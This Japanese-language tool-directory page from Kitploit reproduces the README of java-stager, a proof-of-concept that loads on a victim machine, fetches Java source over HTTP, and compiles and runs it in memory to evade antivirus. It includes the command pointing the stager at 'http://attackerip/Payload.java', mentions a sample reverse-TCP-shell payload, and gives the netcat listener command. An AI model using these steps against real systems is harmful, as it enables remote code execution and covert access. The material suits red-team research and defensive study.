Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
java-stager — メモリ上でJavaファイルをダウンロード、コンパイル、および実行できるPoC Java Stager。 | Kitploit
ツール/GitHubGitHub/cornerpirate/java-stager
メモリフォレンジックペイロード生成動的コード分析 (DAST)エクスプロイトポストエクスプロイトコマンド&コントロール学習と教育レッドチーミングリモートアクセスツールペイロード開発
GitHubcornerpirate/java-stager

java-stager

1073068年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

メモリ上でJavaファイルをダウンロード、コンパイル、および実行できるPoC Java Stager。

リポジトリを見る

java-stager

メモリ内でJavaファイルをダウンロード、コンパイル、実行できるPoC Java Stagerです。

これは研究目的のみであり、許可されていない場所では使用しないでください。

これは何ですか?

これはJames Williams氏のトーク「Next Gen AV vs My Shitty Code」の成果に基づいています。動画はこちら:

https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be

私にとってトークの重要な部分は以下の通りです:

  • 被害者にStagerをロード(ディスクに触れるが、良性のバイナリ)
  • StagerがHTTP経由で生のコードをダウンロード(メモリ内に留まる)
  • Stagerが生のコードをコンパイル(これもメモリ内)
  • Stagerがコンパイルされたコードを実行(これもメモリ内)

彼の例は.NETですが、トークではJavaでも同じ手法が可能だと示唆していました。上記の手法に合致する生のPoCを実装しました。

使い方

  • リポジトリ全体をクローンします。
  • Mavenを使用できるIDE(NetBeansなど)で開きます。
  • Stagerとサンプルペイロードは「/src/main/java」フォルダにあります。
  • Stagerを好きなように変更し、プロジェクトをコンパイルします。デフォルトプロファイルで「clean/build」を使用していました。

NetBeansの出力には次のような行が含まれます:

Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

被害者で動作させるには、"JavaStager*.jar"ファイルと、"target"フォルダからJaninoを含む"lib"フォルダをアップロードする必要があります。

以下のコマンドでStagerを実行します:

java -jar JavaStager-0.1-initial.jar

以下のように使用法が表示されます:

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

「url」はStagerに渡される唯一のパラメータです。使用例は次の通りです:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

ペイロードは「Payload.java」というファイルに置き、エクスプロイトコードは「Run」という静的メソッドに記述する必要があります。以下は独自に作成する場合のテンプレートです:

root@kitploit:~
public class Payload {
   public static void Run() {
      // Your code here
   }
}

ファイル「TCPReverseShell.java」にサンプルのリバースTCPペイロードを用意しました。名前の衝突を避けるため、「Payload.java」という名前ではなく、クラス名も意図的に間違っています。 「TCPReverseShell.java」の先頭コメントに、動作させるための修正方法が説明されています。

「Payload.java」ファイルをHTTPサーバーでホストする必要があります。Apacheや、私のブログにあるPython2/3のシンプルなHTTP/HTTPSサービスを使用できます:

https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/

攻撃者は、標準の nc -lvp 8044 テクニックを使用して、接続を受け取るためにnetcatリスナーを起動する必要があります。

詳細情報

動作の仕組みを説明するブログ記事:

https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/

実際の動作を示す動画:

https://www.youtube.com/watch?v=-KkJVdSHPAc

ツールをダウンロード